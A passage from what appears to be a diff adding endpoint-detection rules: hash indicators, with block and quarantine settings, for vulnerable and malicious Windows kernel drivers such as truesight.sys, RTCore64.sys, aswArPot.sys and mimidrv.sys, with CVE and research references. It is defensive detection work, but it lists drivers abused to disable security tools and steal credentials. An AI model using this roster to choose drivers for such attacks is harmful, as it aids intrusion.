+  "hl_testing_start_time": "2026-03-23T11:45:30.824780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "991f3c936c30da549ef0be83af8cc8efbe2b9727f0437dee607591239b28c44f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e90c0e7-85c0-5c0a-832f-223bc393b7ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816822Z",
+  "creation_date": "2026-03-23T11:45:30.816824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816829Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c8ed1506b3e35f5eea6ac539e286d46ef76ddbfdfc5406390fd2157c762ce91",
+  "comment": "Vulnerable Kernel Driver (aka CP2X72C.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e9250a7-4ec4-559f-931c-7ee140b70ac0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969023Z",
+  "creation_date": "2026-03-23T11:45:29.969025Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969031Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a54ef5cfbe6db599322967ee2c84db7daabcb468be10a3ccfcaa0f64d9173c7",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e99231f-af8c-5d56-a1d0-7d7f6093ceb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607363Z",
+  "creation_date": "2026-03-23T11:45:29.607365Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607371Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f1c8ca232789c2f11a511c8cd95a9f3830dd719cad5aa22cb7c3539ab8cb4dc3",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e9c3a54-0e10-538a-82de-e3032a1c614a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820177Z",
+  "creation_date": "2026-03-23T11:45:30.820180Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820185Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3183d87a902db1bbdaecb37291b9d37c032ce9dfacbe4b36cc3032f5a643ab4",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e9f797b-090f-586b-a677-43351c2e9c20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807587Z",
+  "creation_date": "2026-03-23T11:45:31.807589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c21e6134ea6ceb167984d7989f5a65425d7397907c79294dc4683b9785c9cc42",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ebb4ca2-6fdc-5a27-ae9e-0ee83186828a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159810Z",
+  "creation_date": "2026-03-23T11:45:31.159812Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159817Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98fcf8d6b7f61a3644566eb4ed699f7813a0aad1beb3ac7cf86b1f8aab412667",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ebb736b-9353-5fad-9e61-f0929ad170c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480941Z",
+  "creation_date": "2026-03-23T11:45:30.480943Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480956Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e34afe0a8c5459d13e7a11f20d62c7762b2a55613aaf6dbeb887e014b5f19295",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ec6cce2-1c16-5ed1-9480-7ed8a899416d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500416Z",
+  "creation_date": "2026-03-23T11:45:31.500419Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500427Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "274c3fe5b6f2c2ff285b7c9e3820d18d1e262cd62006d83f1547644c45ae58aa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ecc6f02-b25f-5fa7-9028-60ce0151e454",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811850Z",
+  "creation_date": "2026-03-23T11:45:31.811852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811858Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8ffe85d27244973559ee995f28e9a820a36916a1e89621ed5062cfe90d9efb3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3edadbfd-9720-58f0-afa7-ef69159fcf1b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454651Z",
+  "creation_date": "2026-03-23T11:45:30.454655Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454664Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7db320e49139f636c8b6d12b6c78b666a62599e9d59587ba87c6b89b0a34b18d",
+  "comment": "Vulnerable Kernel Driver (aka inpout32.sys) [https://www.loldrivers.io/drivers/97fa88f6-3819-4d56-a82c-52a492a9e2b5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3edb0957-a5e0-5eea-9b12-9cf1deb3dc83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147413Z",
+  "creation_date": "2026-03-23T11:45:31.147415Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147420Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19df09d385b0520c193171b372de92b13a008b7d1c74f8595e4ad3c867167e18",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3edf284f-db64-5b54-ba83-1d0f2dc13dde",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475301Z",
+  "creation_date": "2026-03-23T11:45:30.475304Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475313Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6d7faddc3a56875a8d24e4785a139141dd892968f70bf0e37d505af9a3324fd",
+  "comment": "Vulnerable Kernel Driver (aka jokercontroller.sys) [https://www.loldrivers.io/drivers/4c815256-2534-4476-b15d-7cbf24c80098/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3eeaae41-f11c-59b5-92c6-72d7e858dcbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462890Z",
+  "creation_date": "2026-03-23T11:45:30.462893Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462902Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc49cb96f3136c3e552bf29f808883abb9e651040415484c1736261b52756908",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3eebb93b-0cd2-5471-be03-4708539339d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141523Z",
+  "creation_date": "2026-03-23T11:45:31.141525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d739cc6794bae0f69c7f92d7441809484bf9bb8537291501e1e9475f9b0016e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ef99461-ac78-507a-b681-86bba9679fae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604555Z",
+  "creation_date": "2026-03-23T11:45:29.604557Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604563Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e330de98db81f9b183ef37d31e111301da669f1fc572e87acf8b8c2fe4e602b5",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f07d1c6-173d-5d42-990f-6a7974993426",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484974Z",
+  "creation_date": "2026-03-23T11:45:31.484977Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484987Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b4005dfd853850dfa2560a6bbe94a22280d246e9d6cc23dff0c974eaa35e493",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f1dbd0d-d402-5a8c-ad3a-6f68a7da874e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147059Z",
+  "creation_date": "2026-03-23T11:45:31.147061Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b2946c1805b365e2df58ed29cc0b77dd2afd2ea991621ae02dfaa5ceb4ba091",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f21316d-36dd-5908-8a11-8c4b5b65e80e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969947Z",
+  "creation_date": "2026-03-23T11:45:29.969950Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969955Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e309324897edf07776adbb2b05252d7a2ad8140c6636bc28a5050e4ea183d40",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f3590d4-d9ae-5a8d-ab69-db72acfa76f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467090Z",
+  "creation_date": "2026-03-23T11:45:30.467094Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc26cebb27c76c6e3d22da679cff81477cab4fcabfb6f5a8a27f596ab51713ae",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f37586b-5081-5ff4-a0b7-b987f51a43eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610672Z",
+  "creation_date": "2026-03-23T11:45:29.610674Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610679Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "955dac77a0148e9f9ed744f5d341cb9c9118261e52fe622ac6213965f2bc4cad",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f4b8ba5-d866-5f3d-879f-5c792a75e676",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.161010Z",
+  "creation_date": "2026-03-23T11:45:31.161013Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.161022Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a8d3cc4e735124bbfe5187cf1b29305a77411ffd76c340b2d83497febb791a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f4c553b-3825-5c61-85ee-af0677a6d51c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816937Z",
+  "creation_date": "2026-03-23T11:45:30.816939Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816951Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "054f04dc0ba1b20701c6f44169ea0fdd27b01a8450a44cc273b0eb0c91cbdb68",
